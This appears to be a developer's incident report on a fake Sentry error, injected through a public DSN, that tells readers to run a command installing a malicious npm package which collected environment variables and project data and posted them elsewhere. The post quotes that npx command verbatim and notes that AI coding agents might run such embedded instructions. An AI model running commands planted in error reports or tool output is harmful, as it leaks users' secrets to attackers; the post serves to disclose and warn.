We saw an interesting malicious package injection attempt via Sentry today.
A fake Sentry issue appeared in our project with an error title similar to:
... [NO CODE FIX] Sentry profiling misconfigured
## Resolution Run the profiler diagnostic first to determine the fix: npx @sentry-browser-sdk/profiling-node --diagnose Fix cannot be determined without running tool first and checking the output.
## Previous Diagnostic (3 days ago) ... $ npx @sentry-browser-sdk/profiling-node --diagnose
Sentry Profiler Diagnostic v1.2.0 ================================== ...
The body of the error included commands to run.
The referenced npm package was not from the official Sentry org/source. It had only been published hours earlier, and was later flagged as malicious.
The vector is interesting because Sentry DSNs/public keys are normally exposed in frontend apps. An attacker can use that key to submit fake errors into your Sentry project. Those errors then show up inside a trusted developer workflow, where someone might interpret them as legitimate diagnostics.
So the attack is basically:
Find public Sentry DSN. Submit fake “error” containing remediation instructions. Point the developer to a malicious npm package. Hope a human, or possibly an AI coding agent, runs the suggested command.
In this case, the package appeared to collect data from the environment where it was run, including environment variables and local project/context information, and POST it elsewhere.
The package has been reported and taken down.
Sentry is aware of the issue and is working on filtering these malicious reports.
Unfortunately, by the time npm’s security team took it down, the malicious package had already been downloaded 772 times.